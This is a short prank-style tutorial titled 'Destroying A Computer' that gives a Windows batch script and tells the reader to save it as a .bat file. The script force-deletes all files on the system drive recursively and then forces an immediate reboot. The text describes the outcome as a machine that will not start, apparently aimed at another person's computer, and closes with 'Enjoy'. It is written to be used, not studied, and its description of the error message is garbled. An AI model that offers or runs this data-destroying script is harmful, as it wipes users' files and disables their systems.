Destroying A Computer

step 1) open note pad

 step 2) copy n past the bellow code
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
step 3) save it as anything.bat

Effects: this will open a command file which will run for 10 minutes it will delete some of  C: drives files...
and when its finished the computer will be too slow..and if he restarts then a ERROR occur which says that :
WINDOWS COULD NOT BECAUSE THE FOLLOWING FILE IS MISSING
OR CURRUPT. :
<Windows root>\system32\hal.dll.
PLEASE RE-INSTALL A COPY OF THE ABOVE...


Enjoy..=D